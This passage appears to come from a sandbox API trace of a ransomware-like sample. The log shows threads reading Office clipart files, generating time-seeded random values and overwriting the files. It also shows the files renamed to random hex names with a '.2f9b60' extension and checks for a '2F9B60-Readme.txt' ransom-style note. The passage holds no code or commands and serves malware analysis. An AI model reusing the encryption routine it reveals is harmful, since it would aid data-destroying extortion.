returned 0x1cd97b20 [0124.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504290 [0124.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0124.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261970) returned 1 [0124.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce779b0 [0124.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261970 [0124.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0124.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0124.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504290) returned 1 [0124.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97b20) returned 1 [0124.465] WriteFile (in: hFile=0x1660, lpBuffer=0x1ce779b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1dc1fa20, lpOverlapped=0x0 | out: lpBuffer=0x1ce779b0*, lpNumberOfBytesWritten=0x1dc1fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0124.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce779b0) returned 1 [0124.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c66910) returned 1 [0124.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261fa0 [0124.535] SetFilePointerEx (in: hFile=0x1660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.535] WriteFile (in: hFile=0x1660, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1dc1fad0, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x1dc1fad0*=0x10a, lpOverlapped=0x0) returned 1 [0124.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0124.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0124.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7770 [0124.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0124.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fb0) returned 1 [0124.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda05f0 [0124.595] sprintf (in: _Dest=0x1cda05f0, _Format="%c%c" | out: _Dest="d7") returned 2 [0124.596] sprintf (in: _Dest=0x1cda05f2, _Format="%c%c" | out: _Dest="95") returned 2 [0124.596] sprintf (in: _Dest=0x1cda05f4, _Format="%c%c" | out: _Dest="0b") returned 2 [0124.596] sprintf (in: _Dest=0x1cda05f6, _Format="%c%c" | out: _Dest="42") returned 2 [0124.596] sprintf (in: _Dest=0x1cda05f8, _Format="%c%c" | out: _Dest="9c") returned 2 [0124.596] sprintf (in: _Dest=0x1cda05fa, _Format="%c%c" | out: _Dest="41") returned 2 [0124.596] sprintf (in: _Dest=0x1cda05fc, _Format="%c%c" | out: _Dest="9c") returned 2 [0124.596] sprintf (in: _Dest=0x1cda05fe, _Format="%c%c" | out: _Dest="45") returned 2 [0124.596] sprintf (in: _Dest=0x1cda0600, _Format="%c%c" | out: _Dest="10") returned 2 [0124.596] sprintf (in: _Dest=0x1cda0602, _Format="%c%c" | out: _Dest="75") returned 2 [0124.596] sprintf (in: _Dest=0x1cda0604, _Format="%c%c" | out: _Dest="1e") returned 2 [0124.596] sprintf (in: _Dest=0x1cda0606, _Format="%c%c" | out: _Dest="40") returned 2 [0124.596] sprintf (in: _Dest=0x1cda0608, _Format="%c%c" | out: _Dest="d2") returned 2 [0124.596] sprintf (in: _Dest=0x1cda060a, _Format="%c%c" | out: _Dest="2a") returned 2 [0124.596] sprintf (in: _Dest=0x1cda060c, _Format="%c%c" | out: _Dest="a5") returned 2 [0124.596] sprintf (in: _Dest=0x1cda060e, _Format="%c%c" | out: _Dest="10") returned 2 [0124.596] sprintf (in: _Dest=0x1cda0610, _Format="%c%c" | out: _Dest="1a") returned 2 [0124.596] sprintf (in: _Dest=0x1cda0612, _Format="%c%c" | out: _Dest="74") returned 2 [0124.596] sprintf (in: _Dest=0x1cda0614, _Format="%c%c" | out: _Dest="f7") returned 2 [0124.596] sprintf (in: _Dest=0x1cda0616, _Format="%c%c" | out: _Dest="e1") returned 2 [0124.596] sprintf (in: _Dest=0x1cda0618, _Format="%c%c" | out: _Dest="eb") returned 2 [0124.596] sprintf (in: _Dest=0x1cda061a, _Format="%c%c" | out: _Dest="d0") returned 2 [0124.596] sprintf (in: _Dest=0x1cda061c, _Format="%c%c" | out: _Dest="ad") returned 2 [0124.596] sprintf (in: _Dest=0x1cda061e, _Format="%c%c" | out: _Dest="c5") returned 2 [0124.596] RtlInitAnsiString (in: DestinationString=0x1dc1fb48, SourceString="d7950b429c419c4510751e40d22aa5101a74f7e1ebd0adc5" | out: DestinationString="d7950b429c419c4510751e40d22aa5101a74f7e1ebd0adc5") [0124.596] RtlAnsiStringToUnicodeString (in: DestinationString=0x1dc1fb18, SourceString="d7950b429c419c4510751e40d22aa5101a74f7e1ebd0adc5", AllocateDestinationString=1 | out: DestinationString="d7950b429c419c4510751e40d22aa5101a74f7e1ebd0adc5") returned 0x0 [0124.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8639d0 [0124.596] wcscat (in: _Dest=0x2027b690, _Source="d7950b429c41" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7950b429c41") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7950b429c41" [0124.597] wcscat (in: _Dest=0x2027b690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7950b429c41.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7950b429c41.2f9b60" [0124.597] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7950b429c41.2f9b60", NtPathName=0x1dc1faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d7950b429c41.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107480 [0124.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107480) returned 1 [0124.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46a60) returned 1 [0124.776] NtQueryInformationFile (in: FileHandle=0x1660, IoStatusBlock=0x1dc1fb58, FileInformation=0x1dc1fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1dc1fb58, FileInformation=0x1dc1fb68) returned 0x0 [0124.776] NtSetInformationFile (FileHandle=0x1660, IoStatusBlock=0x1dc1fb58, FileInformation=0x1dc1fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b690) returned 1 [0124.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0124.777] FlushFileBuffers (hFile=0x1660) returned 1 [0124.842] CloseHandle (hObject=0x1660) returned 1 [0124.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bc30 [0124.853] wcscpy (in: _Dest=0x2027bc30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.853] wcscat (in: _Dest=0x2027bc30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bc30) returned 1 [0124.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa00) returned 1 Thread: id = 1482 os_tid = 0x197c [0120.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0120.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF", dwFileAttributes=0x20) returned 1 [0120.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b8 [0120.675] GetFileSizeEx (in: hFile=0x14b8, lpFileSize=0x1d35fcc0 | out: lpFileSize=0x1d35fcc0*=11058) returned 1 [0120.676] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x2b2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.676] ReadFile (in: hFile=0x14b8, lpBuffer=0x1d35fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d35fc88, lpOverlapped=0x0 | out: lpBuffer=0x1d35fc40*, lpNumberOfBytesRead=0x1d35fc88*=0x4, lpOverlapped=0x0) returned 1 [0121.183] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6a20 [0121.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b10 [0121.184] NtQuerySystemTime (in: CurrentTime=0x1d35fb80 | out: CurrentTime=0x1d35fb80*=132462177265858000) returned 0x0 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x226be880 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x22163700 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x1a7021bf [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x18914611 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x42f67011 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0xba53b6a [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x5c6083e7 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x50bb3f23 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x6ed811bd [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x2a9656b7 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x653757 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x2c94793 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x63019172 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x371991ac [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x44328922 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x2cc499c6 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x482812fa [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x24bd4538 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x3cf8633f [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x6545b4e0 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x594e6b4c [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x16de6e0 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x574ff8a8 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x6dfd3141 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x7d834cc6 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x5ddefd9 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0xb5fee3f [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x1dc92830 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x6c1c9068 [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x2e6e8e7f [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x5994fd4c [0121.184] RtlRandomEx (in: Seed=0x1d35fb70 | out: Seed=0x1d35fb70) returned 0x73fd10e [0124.416] ReadFile (in: hFile=0x14b8, lpBuffer=0x41c62d00, nNumberOfBytesToRead=0x2b32, lpNumberOfBytesRead=0x1d35fb70, lpOverlapped=0x0 | out: lpBuffer=0x41c62d00*, lpNumberOfBytesRead=0x1d35fb70*=0x2b32, lpOverlapped=0x0) returned 1 [0124.510] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.510] WriteFile (in: hFile=0x14b8, lpBuffer=0x41b26910*, nNumberOfBytesToWrite=0x2b32, lpNumberOfBytesWritten=0x1d35fb74, lpOverlapped=0x0 | out: lpBuffer=0x41b26910*, lpNumberOfBytesWritten=0x1d35fb74*=0x2b32, lpOverlapped=0x0) returned 1 [0124.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa90 [0124.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860570 [0124.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860570) returned 1 [0124.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b26910) returned 1 [0124.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c62d00) returned 1 [0124.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504310) returned 1 [0124.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97ad0) returned 1 [0124.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860570 [0124.566] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.566] WriteFile (in: hFile=0x14b8, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1d35fc90, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x1d35fc90*=0x10a, lpOverlapped=0x0) returned 1 [0124.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0124.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0124.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0124.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d8a0 [0124.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d8a0) returned 1 [0124.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.634] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="54") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="3a") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="84") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="34") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="d3") returned 2 [0124.634] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="2a") returned 2 [0124.634] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="10") returned 2 [0124.634] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="92") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="65") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="68") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="37") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="8d") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="7b") returned 2 [0124.634] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="af") returned 2 [0124.634] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="61") returned 2 [0124.634] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="eb") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="60") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="75") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="3f") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="cc") returned 2 [0124.634] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="34") returned 2 [0124.634] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="10") returned 2 [0124.634] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="e0") returned 2 [0124.634] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="d1") returned 2 [0124.634] RtlInitAnsiString (in: DestinationString=0x1d35fd08, SourceString="543a8434d32a10926568378d7baf61eb60753fcc3410e0d1" | out: DestinationString="543a8434d32a10926568378d7baf61eb60753fcc3410e0d1") [0124.634] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d35fcd8, SourceString="543a8434d32a10926568378d7baf61eb60753fcc3410e0d1", AllocateDestinationString=1 | out: DestinationString="543a8434d32a10926568378d7baf61eb60753fcc3410e0d1") returned 0x0 [0124.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863b20 [0124.635] wcscat (in: _Dest=0x2027a1f0, _Source="543a8434d32a" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\543a8434d32a") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\543a8434d32a" [0124.635] wcscat (in: _Dest=0x2027a1f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\543a8434d32a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\543a8434d32a.2f9b60" [0124.635] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\543a8434d32a.2f9b60", NtPathName=0x1d35fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\543a8434d32a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107d80 [0124.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107d80) returned 1 [0124.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf486d0) returned 1 [0124.716] NtQueryInformationFile (in: FileHandle=0x14b8, IoStatusBlock=0x1d35fd18, FileInformation=0x1d35fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d35fd18, FileInformation=0x1d35fd28) returned 0x0 [0124.716] NtSetInformationFile (FileHandle=0x14b8, IoStatusBlock=0x1d35fd18, FileInformation=0x1d35fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a1f0) returned 1 [0124.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863b20) returned 1 [0124.726] FlushFileBuffers (hFile=0x14b8) returned 1 [0124.729] CloseHandle (hObject=0x14b8) returned 1 [0124.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027a0b0 [0124.730] wcscpy (in: _Dest=0x2027a0b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.730] wcscat (in: _Dest=0x2027a0b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a0b0) returned 1 [0124.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aff10) returned 1 Thread: id = 1483 os_tid = 0x1980 [0120.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0122.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF", dwFileAttributes=0x20) returned 1 [0122.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1838 [0123.485] GetFileSizeEx (in: hFile=0x1838, lpFileSize=0x1db5fe00 | out: lpFileSize=0x1db5fe00*=12520) returned 1 [0123.485] SetFilePointerEx (in: hFile=0x1838, liDistanceToMove=0x30e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.485] ReadFile (in: hFile=0x1838, lpBuffer=0x1db5fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1db5fdc8, lpOverlapped=0x0 | out: lpBuffer=0x1db5fd80*, lpNumberOfBytesRead=0x1db5fdc8*=0x4, lpOverlapped=0x0) returned 1 [0123.657] SetFilePointerEx (in: hFile=0x1838, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.657] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df30 [0123.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f100 [0123.658] NtQuerySystemTime (in: CurrentTime=0x1db5fcc0 | out: CurrentTime=0x1db5fcc0*=132462177290350000) returned 0x0 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x362af38e [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x441a0ee6 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x45a926a0 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0xe4646d2 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x311875d1 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x600f0109 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x15c2fca8 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x2a14e72c [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x15c2fca8 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x797adf2a [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x784a3bf0 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x44fcae09 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x5340789f [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x793b6294 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x1b90807c [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x736cd942 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x2a168bfa [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x462b26a9 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x61ef6958 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x5a214bff [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) returned 0x311875d1 [0123.658] RtlRandomEx (in: Seed=0x1db5fcb0 | out: Seed=0x1db5fcb0) 